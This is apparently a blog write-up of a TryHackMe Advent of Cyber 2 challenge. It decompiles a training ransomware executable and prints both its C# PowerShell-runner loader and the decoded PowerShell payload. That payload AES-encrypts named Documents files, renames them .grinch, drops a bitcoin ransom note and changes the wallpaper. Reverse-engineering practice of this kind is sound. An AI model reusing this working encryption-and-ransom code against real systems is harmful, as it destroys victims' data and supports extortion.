TryHackMe — Advent of Cyber 2 — Day 23 (Reverse engineering ransomware executable)

Trent Darrow
5 min readDec 24, 2020

Good afternoon everyone,

Today should be an interesting one for me. We are going to attempt to take a look at the opidsdsdf.exe file from the Day 23 Advent of Cyber challenge. This file encrypted the files inside the Documents folder and added the .grinch extension to all of the files.

To start, I’m going to drop the file into dnSpy and see what it comes up with. So if we expand out some of the various trees, we get this:

Now, if we dump out all of the data from Main(string[]):int@06000077, we get this:

// ModuleNameSpace.MainApp
// Token: 0x06000077 RID: 119 RVA: 0x00004460 File Offset: 0x00002660
[STAThread]
private static int Main(string[] args)
{
Application.EnableVisualStyles();
MainApp mainApp = new MainApp();
bool flag = false;
string text = string.Empty;
MainModuleUI ui = new MainModuleUI();
MainModule host = new MainModule(mainApp, ui);
ManualResetEvent mre = new ManualResetEvent(false);
AppDomain.CurrentDomain.UnhandledException += MainApp.CurrentDomain_UnhandledException;
try
{
using (Runspace runspace = RunspaceFactory.CreateRunspace(host))
{
runspace.ApartmentState = ApartmentState.STA;
runspace.Open();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = runspace;
powerShell.Streams.Error.DataAdded += delegate(object sender, DataAddedEventArgs e)
{
ui.WriteErrorLine(((PSDataCollection<ErrorRecord>)sender)[e.Index].ToString());
};
PSDataCollection<string> psdataCollection = new PSDataCollection<string>();
if (Console_Info.IsInputRedirected())
{
string item;
while ((item = Console.ReadLine()) != null)
{
psdataCollection.Add(item);
}
}
psdataCollection.Complete();
PSDataCollection<PSObject> colOutput = new PSDataCollection<PSObject>();
colOutput.DataAdded += delegate(object sender, DataAddedEventArgs e)
{
ui.WriteLine(colOutput[e.Index].ToString());
};
int num = 0;
int num2 = 0;
foreach (string text2 in args)
{
if (string.Compare(text2, "-whatt".Replace("hat", "ai"), true) == 0)
{
flag = true;
}
else if (text2.StartsWith("-extdummt".Replace("dumm", "rac"), StringComparison.InvariantCultureIgnoreCase))
{
string[] array = text2.Split(new string[]
{
":"
}, 2, StringSplitOptions.RemoveEmptyEntries);
if (array.Length != 2)
{
MessageBox.Show("If you spzzcify thzz -zzxtract option you nzzed to add a filzz for zzxtraction in this way\r\n -zzxtract:\"<filzznamzz>\"".Replace("zz", "e"), AppDomain.CurrentDomain.FriendlyName, MessageBoxButtons.OK, MessageBoxIcon.Hand);
return 1;
}
text = array[1].Trim(new char[]
{
'"'
});
}
else
{
if (string.Compare(text2, "-end", true) == 0)
{
num = num2 + 1;
break;
}
if (string.Compare(text2, "-debug", true) == 0)
{
System.Diagnostics.Debugger.Launch();
break;
}
}
num2++;
}
string @string = Encoding.UTF8.GetString(Convert.FromBase64String("ZnVuY3Rpb24gQ3JlYXRlLVBhc3N3b3JkIA0KeyAgICAgICAgDQogICAgcmV0dXJuICQoKFtjaGFyW11dKEdldC1SYW5kb20gLUlucHV0ICQoNDguLjEyMikgLUNvdW50IDY0KSkgLWpvaW4gIiIpDQp9DQoNCmZ1bmN0aW9uIEVuY3J5cHQtRmlsZQ0Kew0KICAgIFtieXRlW11dJGJ5dGVzMkJlbmNyeXB0ZWQgPSBbU3lzdGVtLklPLkZpbGVdOjpSZWFkQWxsQnl0ZXMoJGZ1bGxQYXRoKQ0KICAgIFdyaXRlLUhvc3QgJGJ5dGVzMkJlbmNyeXB0ZWQNCiAgICBXcml0ZS1Ib3N0DQoNCiAgICBbYnl0ZVtdXSRwd0J5dGVzID0gW1RleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRwdykNCiAgICBXcml0ZS1Ib3N0ICRwd0J5dGVzDQogICAgV3JpdGUtSG9zdA0KDQogICAgJHB3Qnl0ZXMgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5TSEEyNTZdOjpDcmVhdGUoKS5Db21wdXRlSGFzaCgkcHdCeXRlcykNCiAgICBXcml0ZS1Ib3N0ICRwd0J5dGVzDQogICAgV3JpdGUtSG9zdA0KDQogICAgW2J5dGVbXV0kYnl0ZXNFbmNyeXB0ZWQgPSBBRVMtRW5jcnlwdCgkYnl0ZXMyQmVuY3J5cHRlZCwgJHB3Qnl0ZXMpDQogICAgW1N5c3RlbS5JTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZnVsbFBhdGgsICRieXRlc0VuY3J5cHRlZCkNCiAgICBbU3lzdGVtLklPLkZpbGVdOjpNb3ZlKCRmdWxsUGF0aCwgJGZ1bGxQYXRoICsgIi5ncmluY2giKSAgICAgICANCn0NCg0KDQpmdW5jdGlvbiBBRVMtRW5jcnlwdA0Kew0KICAgIFtieXRlW11dJGVuY3J5cHRlZEJ5dGVzID0gJG51bGwNCiAgICBbYnl0ZVtdXSRzYWx0Qnl0ZXMgPSAxLi4xNg0KICAgIA0KICAgICRtcyA9IE5ldy1PYmplY3QgU3lzdGVtLklPLk1lbW9yeVN0cmVhbSAgICANCiAgICAkYWVzID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlJpam5kYWVsTWFuYWdlZA0KICAgICRrZXlJdGVyYXRpb25zID0gMTAwMDA7DQogICAgJGFlcy5LZXlTaXplID0gMjU2DQogICAgJGFlcy5CbG9ja1NpemUgPSAxMjgNCg0KICAgICRrZXkgPSAoTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlJmYzI4OThEZXJpdmVCeXRlcyAkcHdCeXRlcywgJHNhbHRCeXRlcywgJGtleUl0ZXJhdGlvbnMpDQogICAgJGFlcy5LZXkgPSAka2V5LkdldEJ5dGVzKCRhZXMuS2V5U2l6ZSAvIDgpDQogICAgJGFlcy5JViA9ICRrZXkuR2V0Qnl0ZXMoJGFlcy5CbG9ja1NpemUgLyA4KQ0KICAgICRhZXMuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkMNCiAgICAkYWVzLlBhZGRpbmcgPSBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06Olplcm9zDQoNCiAgICAkY3MgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ3J5cHRvU3RyZWFtICRtcywgJGFlcy5DcmVhdGVFbmNyeXB0b3IoKSwgIldyaXRlIg0KICAgICRjcy5Xcml0ZSgkYnl0ZXMyQmVuY3J5cHRlZCwgMCwgJGJ5dGVzMkJlbmNyeXB0ZWQuTGVuZ3RoKQ0KICAgICRjcy5DbG9zZSgpDQogICAgJG1zLkNsb3NlKCkNCiAgICAkYWVzLkNsZWFyKCkNCg0KICAgICRlbmNyeXB0ZWRCeXRlcyA9ICRtcy5Ub0FycmF5KCkNCiAgICByZXR1cm4gJGVuY3J5cHRlZEJ5dGVzDQp9DQoNCiRwdyA9IENyZWF0ZS1QYXNzd29yZA0KV3JpdGUtSG9zdA0KV3JpdGUtSG9zdA0KV3JpdGUtSG9zdA0KV3JpdGUtSG9zdCAkcHcNCg0KJGZ1bGxQYXRoID0gIkM6XFVzZXJzXEFkbWluaXN0cmF0b3JcRG9jdW1lbnRzXGNvbmZpZGVudGlhbFxtYXN0ZXItcGFzc3dvcmQudHh0Ig0KDQojIGZ1bmN0aW9uIGNhbGwgdG8gZW5jcnlwdCBkaXJlY3RvcnkNCkVuY3J5cHQtRmlsZQ0KDQokZnVsbFBhdGggPSAiQzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEb2N1bWVudHNcdlN0b2NraW5nc1xlbGYxXGVsZjEudHh0Ig0KDQojIGZ1bmN0aW9uIGNhbGwgdG8gZW5jcnlwdCBkaXJlY3RvcnkNCkVuY3J5cHQtRmlsZQ0KDQokZnVsbFBhdGggPSAiQzpcVXNlcnNcQWRtaW5pc3RyYXRvclxEb2N1bWVudHNcdlN0b2NraW5nc1xlbGYxXHRlZXRoLmpwZyINCg0KIyBmdW5jdGlvbiBjYWxsIHRvIGVuY3J5cHQgZGlyZWN0b3J5DQpFbmNyeXB0LUZpbGUNCg0KJGZ1bGxQYXRoID0gIkM6XFVzZXJzXEFkbWluaXN0cmF0b3JcRG9jdW1lbnRzXHZTdG9ja2luZ3NcZWxmMlxlbGYyLnR4dCINCg0KIyBmdW5jdGlvbiBjYWxsIHRvIGVuY3J5cHQgZGlyZWN0b3J5DQpFbmNyeXB0LUZpbGUNCg0KJGZ1bGxQYXRoID0gIkM6XFVzZXJzXEFkbWluaXN0cmF0b3JcRG9jdW1lbnRzXHZTdG9ja2luZ3NcZWxmMlxzY3Jvb2dlZC5qcGciDQoNCiMgZnVuY3Rpb24gY2FsbCB0byBlbmNyeXB0IGRpcmVjdG9yeQ0KRW5jcnlwdC1GaWxlDQoNCiRmdWxsUGF0aCA9ICJDOlxVc2Vyc1xBZG1pbmlzdHJhdG9yXERvY3VtZW50c1x2U3RvY2tpbmdzXGVsZjNcZWxmMy50eHQiDQoNCiMgZnVuY3Rpb24gY2FsbCB0byBlbmNyeXB0IGRpcmVjdG9yeQ0KRW5jcnlwdC1GaWxlDQoNCiRmdWxsUGF0aCA9ICJDOlxVc2Vyc1xBZG1pbmlzdHJhdG9yXERvY3VtZW50c1x2U3RvY2tpbmdzXGVsZjNcUmVkLVJ5ZGVyLUJCLWd1bi1SaWZsZS5qcGciDQoNCiMgZnVuY3Rpb24gY2FsbCB0byBlbmNyeXB0IGRpcmVjdG9yeQ0KRW5jcnlwdC1GaWxlDQoNCkFkZC1Db250ZW50IC1QYXRoIEM6XFVzZXJzXEFkbWluaXN0cmF0b3JcRG9jdW1lbnRzXFJhbnNvbU5vdGUudHh0IC1WYWx1ZSAiQXMgeW91IHdlcmUgY2FsbWx5IGxvb2tpbmcgYXQgeW91ciBkb2N1bWVudHMgSSBlbmNyeXB0ZWQgYWxsIHRoZSB3b3Jrc3RhdGlvbnMgYXQgQmVzdCBGZXN0aXZhbCBDb21wYW55IGp1c3Qgbm93LiBJbmNsdWRpbmcgeW91cnMgTWNFYWdlciEgU2VuZCBtZSBsb3RzIGFuZCBsb3RzIG9mIG1vbmV5IHRvIG15IGJpdGNvaW4gYWRkcmVzcyAoYm05dGIzSmxZbVZ6ZEdabGMzUnBkbUZzWTI5dGNHRnVlUT09KSBhbmQgTUFZQkUgSSdsbCBnaXZlIHlvdSB0aGUga2V5IHRvIGRlY3J5cHQuID46XnAiIA0KDQojU2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtDVTpcQ29udHJvbCBQYW5lbFxEZXNrdG9wIiAtTmFtZSBXYWxsUGFwZXIgLVZhbHVlIEM6XFdpbmRvd3NcU3lzdGVtMzJcZmluZS5qcGcNClNldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLQ1U6XENvbnRyb2wgUGFuZWxcRGVza3RvcCIgLU5hbWUgV2FsbFBhcGVyIC1WYWx1ZSBDOlxXaW5kb3dzXFN5c3RlbTMyXG9waWRzZnNkZi5qcGcNClNldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLQ1U6XENvbnRyb2wgUGFuZWxcRGVza3RvcCIgLU5hbWUgV2FsbFBhcGVyIC1WYWx1ZSBDOlxXaW5kb3dzXFN5c3RlbTMyXG9waWRzZnNkZi5qcGcNClNldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLQ1U6XENvbnRyb2wgUGFuZWxcRGVza3RvcCIgLU5hbWUgV2FsbFBhcGVyIC1WYWx1ZSBDOlxXaW5kb3dzXFN5c3RlbTMyXG9waWRzZnNkZi5qcGcNCg0KI3J1bmRsbDMyLmV4ZSB1c2VyMzIuZGxsLFVwZGF0ZVBlclVzZXJTeXN0ZW1QYXJhbWV0ZXJzDQojU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFdpbmRvd3NcU3lzdGVtMzJcUlVORExMMzIuRVhFIiAtQXJndW1lbnRMaXN0ICJ1c2VyMzIuZGxsLFVwZGF0ZVBlclVzZXJTeXN0ZW1QYXJhbWV0ZXJzIg0KSW52b2tlLUV4cHJlc3Npb24gLUNvbW1hbmQgIkM6XFdpbmRvd3NcU3lzdGVtMzJcUlVORExMMzIuRVhFIHVzZXIzMi5kbGwsVXBkYXRlUGVyVXNlclN5c3RlbVBhcmFtZXRlcnMiDQpJbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZCAiQzpcV2luZG93c1xTeXN0ZW0zMlxSVU5ETEwzMi5FWEUgdXNlcjMyLmRsbCxVcGRhdGVQZXJVc2VyU3lzdGVtUGFyYW1ldGVycyINCkludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kICJDOlxXaW5kb3dzXFN5c3RlbTMyXFJVTkRMTDMyLkVYRSB1c2VyMzIuZGxsLFVwZGF0ZVBlclVzZXJTeXN0ZW1QYXJhbWV0ZXJzIg=="));
if (!string.IsNullOrEmpty(text))
{
File.WriteAllText(text, @string);
return 0;
}
powerShell.AddScript(@string);
string text3 = null;
Regex regex = new Regex("^-([^: ]+)[ :]?([^:]*)$");
for (int j = num; j < args.Length; j++)
{
Match match = regex.Match(args[j]);
double num3;
if (match.Success && match.Groups.Count == 3 && !double.TryParse(args[j], out num3))
{
if (text3 != null)
{
powerShell.AddParameter(text3);
}
if (match.Groups[2].Value.Trim() == "")
{
text3 = match.Groups[1].Value;
}
else if (match.Groups[2].Value == "True" || match.Groups[2].Value.ToUpper() == "$TRUE")
{
powerShell.AddParameter(match.Groups[1].Value, true);
text3 = null;
}
else if (match.Groups[2].Value == "False" || match.Groups[2].Value.ToUpper() == "$FALSE")
{
powerShell.AddParameter(match.Groups[1].Value, false);
text3 = null;
}
else
{
powerShell.AddParameter(match.Groups[1].Value, match.Groups[2].Value);
text3 = null;
}
}
else if (text3 != null)
{
powerShell.AddParameter(text3, args[j]);
text3 = null;
}
else
{
powerShell.AddArgument(args[j]);
}
}
if (text3 != null)
{
powerShell.AddParameter(text3);
}
powerShell.AddCommand("out-string");
powerShell.AddParameter("stream");
powerShell.BeginInvoke<string, PSObject>(psdataCollection, colOutput, null, delegate(IAsyncResult ar)
{
if (ar.IsCompleted)
{
mre.Set();
}
}, null);
while (!mainApp.ShouldExit && !mre.WaitOne(100))
{
}
powerShell.Stop();
if (powerShell.InvocationStateInfo.State == PSInvocationState.Failed)
{
ui.WriteErrorLine(powerShell.InvocationStateInfo.Reason.Message);
}
}
runspace.Close();
}
}
catch (Exception)
{
}
if (flag)
{
MessageBox.Show("Click OK to exit...", AppDomain.CurrentDomain.FriendlyName);
}
return mainApp.ExitCode;

Yes, sorry if that was a ton of scrolling, but let’s take a look at what grabbed my attention first. The massive bit of Base64 encoded data. Now I’ve taken the liberty of tossing it into CyberChef for us to take a look at:

function Create-Password 
{
return $(([char[]](Get-Random -Input $(48..122) -Count 64)) -join "")
}
function Encrypt-File
{
[byte[]]$bytes2Bencrypted = [System.IO.File]::ReadAllBytes($fullPath)
Write-Host $bytes2Bencrypted
Write-Host
[byte[]]$pwBytes = [Text.Encoding]::UTF8.GetBytes($pw)
Write-Host $pwBytes
Write-Host
$pwBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash($pwBytes)
Write-Host $pwBytes
Write-Host
[byte[]]$bytesEncrypted = AES-Encrypt($bytes2Bencrypted, $pwBytes)
[System.IO.File]::WriteAllBytes($fullPath, $bytesEncrypted)
[System.IO.File]::Move($fullPath, $fullPath + ".grinch")
}
function AES-Encrypt
{
[byte[]]$encryptedBytes = $null
[byte[]]$saltBytes = 1..16

$ms = New-Object System.IO.MemoryStream
$aes = New-Object System.Security.Cryptography.RijndaelManaged
$keyIterations = 10000;
$aes.KeySize = 256
$aes.BlockSize = 128
$key = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes $pwBytes, $saltBytes, $keyIterations)
$aes.Key = $key.GetBytes($aes.KeySize / 8)
$aes.IV = $key.GetBytes($aes.BlockSize / 8)
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$cs = New-Object System.Security.Cryptography.CryptoStream $ms, $aes.CreateEncryptor(), "Write"
$cs.Write($bytes2Bencrypted, 0, $bytes2Bencrypted.Length)
$cs.Close()
$ms.Close()
$aes.Clear()
$encryptedBytes = $ms.ToArray()
return $encryptedBytes
}
$pw = Create-Password
Write-Host
Write-Host
Write-Host
Write-Host $pw
$fullPath = "C:\Users\Administrator\Documents\confidential\master-password.txt"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf1\elf1.txt"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf1\teeth.jpg"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf2\elf2.txt"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf2\scrooged.jpg"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf3\elf3.txt"# function call to encrypt directory
Encrypt-File
$fullPath = "C:\Users\Administrator\Documents\vStockings\elf3\Red-Ryder-BB-gun-Rifle.jpg"# function call to encrypt directory
Encrypt-File
Add-Content -Path C:\Users\Administrator\Documents\RansomNote.txt -Value "As you were calmly looking at your documents I encrypted all the workstations at Best Festival Company just now. Including yours McEager! Send me lots and lots of money to my bitcoin address (bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==) and MAYBE I'll give you the key to decrypt. >:^p"#Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallPaper -Value C:\Windows\System32\fine.jpg
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallPaper -Value C:\Windows\System32\opidsfsdf.jpg
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallPaper -Value C:\Windows\System32\opidsfsdf.jpg
Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallPaper -Value C:\Windows\System32\opidsfsdf.jpg
#rundll32.exe user32.dll,UpdatePerUserSystemParameters
#Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList "user32.dll,UpdatePerUserSystemParameters"
Invoke-Expression -Command "C:\Windows\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"
Invoke-Expression -Command "C:\Windows\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"
Invoke-Expression -Command "C:\Windows\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"

So if you’ve been following along with the Advent of Cyber 2 calendar, we see that each elf wanted things which were already in a few challenges. Front teeth, the movie scrooged, and the red ryder bb gun.

We can also tell that this program was designed for this challenge with extremely specific files in mind, so should be relatively safe to run on your computer, assuming you don’t have the above filenames..

Now I don’t claim to know what each call in Powershell is doing, but can generally tell it is encrypting the files with random numbers and aes256 bit encryption. If someone, who knows what the heck they are doing, can explain this, drop a link. Anyway, I just wanted to take a quick peak at it.

As always, best of luck. If you enjoy my content, feel free to add me on LinkedIn and let me know you saw the blog.

Until next time,

-3lduderino

--

--